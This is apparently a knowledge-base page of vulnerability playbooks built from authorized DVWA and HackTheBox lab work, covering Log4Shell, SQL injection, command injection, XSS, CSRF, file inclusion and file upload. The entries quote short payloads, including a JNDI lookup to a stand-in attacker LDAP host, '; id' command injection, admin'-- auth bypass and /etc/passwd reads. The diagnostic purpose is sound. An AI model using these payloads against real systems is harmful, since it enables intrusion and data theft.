Knowledge base
Vulnerability playbooks
Reusable diagnostic memory for symptoms, checks, evidence, false positives, remediation, and verification.
Code Execution / JNDI Injection / Log4Shell
Log4Shell - unauthenticated JNDI/LDAP injection in log4j2 (CVE-2021-44228)
critical
unrated confidence
draft
AssetAny endpoint logging user-controlled input through a vulnerable Apache Log4j 2 (2.0-beta9 to 2.14.1) message lookup. Here: UniFi Network Application 6.4.54 /api/login 'remember' parameter.
SourceHackTheBox / Unified - root
Tags- log4shell
- cve:CVE-2021-44228
- jndi
- ldap
- product:unifi-network-application
- phase:exploit
- review:pending
Rating basisUnauthenticated remote code execution demonstrated in the wild (Log4Shell). On this box the JNDI lookup was confirmed but full RCE was blocked by JDK trustURLCodebase/trustSerialD...
Signal
Sending ${jndi:ldap://ATTACKER:1389/x} in a logged field causes a TCP connection from the target to the attacker LDAP listener (observable bind request). No app error required; HT...
Recognition
If you see a Java app with Log4j 2 and can put a JNDI string in any request field, test each field independently with a listener; a callback proves interpolation. Negative control: a random non-JNDI string in the same f...
Injection / SQL Injection
Blind SQL injection (boolean-based and time-based)
high
verified confidence
draft
Assetsqli_blind module user_id lookup
SourceDVWA / SQL Injection Blind - Low
Tagssqli, sqli_blind, blind, boolean-based, time-based, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated full boolean oracle (exists vs missing) and 3-second time-based delay in an authorized lab. Blind data extraction of the seeded users table is possible one character ...
Signal
No row data ever returned; only 'User ID exists in the database.' vs 'User ID is MISSING from the database.'; injecting AND 1=1 keeps 'exists', AND 1=2 flips to 'missing'; SLEEP(3...
Recognition
If a parameter does not echo data but changes an exists/missing message with boolean conditions, it is a boolean blind oracle. If timing responds to SLEEP(), use time-based extraction. Try the same payload in GET, POST,...
Injection / SQL Injection
UNION-based SQL injection (classic string concatenation)
high
high confidence
draft
AssetWeb endpoint that embeds user input directly into a SQL string; DVWA sqli module user_id lookup
SourceDVWA / SQL - Low
Signal
Single quote in parameter produces raw DB syntax error; ORDER BY N succeeds/fails to reveal column count; UNION SELECT reflects attacker-chosen columns
Recognition
If a quote in input triggers a DB error naming the source line, assume classic concatenation. Enumerate columns with ORDER BY, then UNION SELECT to confirm data reflection.
Injection / Command Injection
Command injection via ping endpoint with blacklist bypass
critical
verified confidence
draft
Assetexec module ping command builder
SourceDVWA / Command Injection - Low
Tagsexec, command-injection, rce, blacklist-bypass, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated arbitrary OS command execution as www-data (uid=33) on the authorized local lab: shell_exec('ping -c 4 ' . target). Output of injected commands (id) is reflected in t...
Signal
Sending ip=127.0.0.1; id returns ping output plus uid=33(www-data); baseline ping output alone appears without injection; higher levels block some metacharacters but a bypass stil...
Recognition
If an endpoint named ping/exec/traceroute echoes raw command output, inject id and look for uid=. If a blacklist removes separators, try newline (%0A), pipe without trailing space, or characters not on the list.
Web / Authentication
Brute-forceable login (no rate limiting / lockout) with GET-based auth and auth bypass
medium
verified confidence
draft
Assetbrute module login
SourceDVWA / Brute Force - Low
Tagsbrute, brute-force, login, rate-limit, auth, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated unlimited login attempts with no account lockout or rate limit (low), a slow-but-not-blocking sleep(2) (medium), and a per-request CSRF token plus random sleep that s...
Signal
Repeated wrong passwords never trigger lockout; a known/common password logs in; at low, username=admin'-- logs in with any password.
Recognition
If a login allows many rapid attempts, check for rate limiting/lockout. If a username field is concatenated into SQL with no escaping, test a comment-based auth bypass (admin'--). Watch for sleep() responses that slow b...
Web / Content Security Policy / XSS
Content Security Policy bypass (permissive allowlist, unsafe-inline, JSONP same-origin)
medium
verified confidence
draft
Assetcsp module script-inclusion page and jsonp.php
SourceDVWA / CSP Bypass - Low
Tagscsp, xss, jsonp, unsafe-inline, nonce, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated CSP bypass vectors in the authorized lab: (low) script-src allowlists content-hosting domains, (medium) 'unsafe-inline' plus a hardcoded base64 nonce is directly usab...
Signal
The include value appears verbatim inside a <script> tag in the response; the CSP header lists content-hosting domains or unsafe-inline; jsonp.php?callback=payload returns payload...
Recognition
If a page has CSP but accepts a URL/script snippet, check the script-src allowlist for content-hosting domains (pastebin, jsdelivr, unpkg). If 'unsafe-inline' or a hardcoded nonce is present, inline scripts work. If a s...
Web / Cross-Site Request Forgery
CSRF on password change (no token; weak Referer check)
medium
verified confidence
draft
Assetcsrf module password change
SourceDVWA / CSRF - Low
Tagscsrf, password-change, referer-check, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated password-change request succeeding with no CSRF token (low) and with only a spoofable Referer check (medium). A crafted page in a victim browser could change the vict...
Signal
Changing the password succeeds with no token; adding/removing a Referer header toggles acceptance at medium; a non-matching token blocks the change at high.
Recognition
If a GET endpoint changes state and accepts requests without a token, it is CSRF-prone. If the only defense is a Referer check, verify it can be satisfied or bypassed (header control). Token-validated endpoints (high) a...
Web / Cross-Site Scripting
DOM-based XSS via document.write sink reading URL fragment
medium
verified confidence
draft
Assetxss_d module language selector
SourceDVWA / DOM XSS - Low
Tagsxss, xss_d, dom, document.write, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated client-side sink: document.write() echoes an unencoded URL-derived value into the DOM. Server-side filters can be bypassed with event-handler payloads. Execution is b...
Signal
The page contains document.write() echoing a URL-derived string; a payload containing <script causes a 302 redirect (blocked), while an event-handler payload is served 200 with no...
Recognition
If JS derives a value from the URL and passes it to document.write/innerHTML/eval, identify the sink. Test server filters by watching status codes: 302 for script payloads and 200 for event-handler payloads indicates a ...
Web / Captcha Bypass / Anti-Automation
Insecure CAPTCHA: two-step password change and hardcoded bypass values
medium
verified confidence
draft
Assetcaptcha module password change
SourceDVWA / Insecure CAPTCHA - Low
Tagscaptcha, recaptcha, bypass, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated changing the admin password without solving the CAPTCHA: (low) skipping to step 2 with no CAPTCHA re-check, (medium) setting a client-controlled passed_captcha flag, ...
Signal
Sending step=2 directly changes the password with no CAPTCHA; medium accepts passed_captcha=true from the client; high accepts g-recaptcha-response=hidd3n_valu3; the UI may hide f...
Recognition
Inspect multi-step flows: the CAPTCHA is usually only checked on step 1, so post directly to the final step. If a flag like passed_captcha is in a hidden input, send it manually. Search source comments for hardcoded byp...
Web / Open Redirect
Open redirect via redirect parameter (scheme and allowlist substring bypasses)
medium
verified confidence
draft
Assetopen_redirect module redirect endpoints (source/low|medium|high.php)
SourceDVWA / Open Redirect - Low
Tagsopen_redirect, redirect, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated server-side Location redirect to attacker-controlled URLs: raw at low, protocol-relative // bypass at medium, and info.php-substring bypass at high. Redirects are a p...
Signal
The Location header equals the attacker-supplied redirect value; some values produce 500 (filtered); protocol-relative or allowlist-substring values still produce a Location heade...
Recognition
If a redirect parameter reaches header(location:), test full external schemes, then // protocol-relative, then backslashes. If an allowlist substring is required, inject the allowlist filename inside an external URL.
Web / Cross-Site Scripting
Reflected XSS via search/name parameter in HTML body context
medium
verified confidence
draft
Assetxss_r module greeting page
SourceDVWA / Reflected XSS - Low
Tagsxss, xss_r, reflected, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated unencoded reflection of attacker-controlled HTML/script into an HTML body context (Hello <payload>) in an authorized lab. Execution would occur in any victim browser ...
Signal
A unique marker returns unencoded in the response body; < and > pass through literally rather than as entities; script/event-handler payloads appear verbatim.
Recognition
If user-controlled text appears in HTML body content, first identify the output context, then test whether special characters are encoded. If a filter removes <script>, try nested tags (<scr<script>ipt>) or non-script v...
Web / Client-Side Security / Authentication
Client-side-only token control fully derivable from exposed JavaScript
low
verified confidence
draft
Assetjavascript module token gate
SourceDVWA / JavaScript - Low
Tagsjavascript, client-side, token, obfuscation, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated that the server-side token check can be satisfied by computing the token directly from the exposed client-side algorithm (rot13+md5, string reverse, sha256 chains), w...
Signal
Submitting the known phrase plus a token computed from the exposed JS returns success; a wrong token returns 'Invalid token'; the token algorithm is visible in page/JS source.
Recognition
If a page loads JS that computes a token from a known input and the server checks that token, read the JS, reproduce the computation in a local script, and submit the computed token. Obfuscation/minification does not ma...
Web / API Security / Mass Assignment
API mass assignment on user update (escalate level to admin)
high
verified confidence
draft
Assetapi module user update endpoint
SourceDVWA / API - Medium
Tagsapi, mass-assignment, privilege-escalation, level:medium, product:dvwa, phase:exploit
Rating basisDemonstrated escalating API user id=2 (level 1) to level 0 (admin) by sending an extra level field in a PUT request that only validates the name field. Privilege escalation in the...
Signal
Including level in the PUT body changes the returned level; validation only requires name; no authorization check on the id being updated.
Recognition
For update endpoints, inspect which fields are validated vs applied. Send extra fields (level, role, admin, is_admin) and check if they take effect.
Web / API Security / Information Disclosure
API versioning leaks sensitive fields (v1 returns password hashes)
high
verified confidence
draft
Assetapi module user endpoint v1/v2
SourceDVWA / API - Low
Tagsapi, versioning, information-disclosure, password-hash, level:low, product:dvwa, phase:exploit
Rating basisDemonstrated retrieving SHA-256 password hashes for all API users by calling the v1 version of the user endpoint, while v2 omits them. This is sensitive data exposure via un-versi...
Signal
v2 returns {id,name,level} while v1 returns the same plus password; changing the version segment changes the fields returned.
Recognition
If an API is versioned, probe lower version numbers for deprecated behavior and extra fields. Compare responses across versions to spot field differences.
Web / Broken Access Control / IDOR
Broken access control / IDOR on user management API (update any user, list all users)
high
verified confidence
draft
Assetauthbypass user management API
SourceDVWA / Authentication Bypass - Low
Tagsauthbypass, idor, broken-access-control, authorization, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated as a non-admin user (gordonb) retrieving the full user list and updating any user (including admin, id=1) via JSON API endpoints. High level blocks the data-listing e...
Signal
A non-admin session receives the full user list or an 'ok' result when updating another user's record; sibling endpoints enforce different authorization (data listing blocked at h...
Recognition
If a JSON API takes a numeric id and returns/modifies records, test it from a low-privileged session. Check each endpoint separately - one may enforce a role check while a sibling does not.
Web / Broken Access Control
Broken access control via client-controlled cookies and hardcoded token checks
high
verified confidence
draft
Assetbac module profile viewer
SourceDVWA / Broken Access Control - Low
Tagsbac, broken-access-control, idor, cookie, hardcoded-token, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated reading any user's profile (including by user_id enumeration) by manipulating a user_id cookie (low) or supplying the literal hardcoded token value 'user_token' (medi...
Signal
Setting a user_id cookie to a target id reveals that user's profile; adding token=user_token grants access at medium; the user_role cookie value is reflected and trusted as the ro...
Recognition
If a profile/object endpoint reads identity from a cookie or a GET token, try changing those client-controlled values. If authorization compares against a fixed string (token == 'user_token'), the value is public knowle...
Web / Path Traversal / File Inclusion
Local File Inclusion via page parameter (absolute path and traversal)
high
verified confidence
draft
Assetfi module file viewer
SourceDVWA / File Inclusion - Low
Tagsfi, lfi, file-inclusion, path-traversal, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated arbitrary local file read: /etc/passwd contents returned in the response in the authorized lab. File disclosure of source/config/credentials is possible in a real app...
Signal
Passing /etc/passwd returns the passwd file contents; an invalid file name produces a PHP include() warning with the resolved path; allowlisted pages include file1..file4 normally.
Recognition
If a page/file selector maps to an include() call, test absolute paths first (they bypass traversal filters), then relative traversal, then php://filter. A whitelist of allowed filenames (high) blocks all three.
Web / Session Management
Predictable session identifiers (incrementing counter, timestamp, md5(counter))
high
verified confidence
draft
Assetweak_id module session identifier issuance
SourceDVWA / Weak Session IDs - Low
Tagsweak_id, session, predictable, cookie, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated session identifiers generated from predictable sources: sequential integers (low), Unix timestamp (medium), and md5 of a sequential counter (high). A remote attacker ...
Signal
Two consecutive requests return cookies that differ by exactly 1 (or equal the current Unix time, or are md5 of consecutive integers).
Recognition
If session cookies look like small integers, timestamps, or md5 of small integers, request a few in sequence and test for a predictable pattern. Compare against the current time or enumerate md5(1..N).
Web / Cross-Site Scripting
Stored XSS via guestbook name field
high
verified confidence
draft
Assetxss_s module guestbook
SourceDVWA / Stored XSS - Low
Tagsxss, xss_s, stored, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated persistent injection: attacker-supplied HTML/script stored in the guestbook table and reflected unencoded to every subsequent viewer of the page. Persistent cross-use...
Signal
A payload submitted once reappears raw in the page on a subsequent GET; a unique marker is visible to other sessions/viewers; name field reflects <IMG onerror=...> verbatim at med...
Recognition
If a value persists across page loads and appears unencoded in HTML, it is stored XSS. If message is sanitized but name is not, each field needs its own output-encoding check.
Web / Cryptographic Failures
Weak cryptography: hardcoded keys/IV and ECB/CBC misuse enabling token forgery
high
verified confidence
draft
Assetcryptography module token/session protection
SourceDVWA / Crypto Weaknesses - Low
Tagscryptography, crypto, weak-keys, xor, ecb, cbc, token-forgery, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated full token forgery in the authorized lab: XOR with a hardcoded key (low), AES-128-ECB with a hardcoded key (medium), and AES-128-CBC with a hardcoded key and fixed IV...
Signal
Intercepted tokens decrypt to plaintext using keys found in source; re-encrypting modified plaintext yields a token accepted as a higher-privilege user; ECB tokens share identical...
Recognition
If an app encrypts tokens/credentials, check the source for hardcoded keys and IVs. If ECB is used, look for block repetition. With the key known, decrypt, modify, re-encrypt. XOR with a known key is trivial to reverse.
Web / File Upload
Unrestricted file upload (arbitrary file upload / RCE potential)
critical
verified confidence
draft
Assetupload module file upload endpoint and hackable/uploads/ directory
SourceDVWA / File Upload - Low
Tagsupload, file-upload, rce, mime-spoof, level:low, level:medium, level:high, product:dvwa, phase:exploit
Rating basisDemonstrated uploading a PHP file with no validation (low) and with a spoofed image/png Content-Type (medium) and executing it over HTTP (server returned the PHP output). In a rea...
Signal
A .php file is accepted and its output is returned when fetched; at medium the same file is rejected as text/plain but accepted when the client sends Content-Type: image/png; at h...
Recognition
If an upload endpoint echoes success and the target dir is web-accessible, test whether a .php probe executes. If it checks MIME type, spoof the client Content-Type header. If it checks getimagesize/extension, a naive p...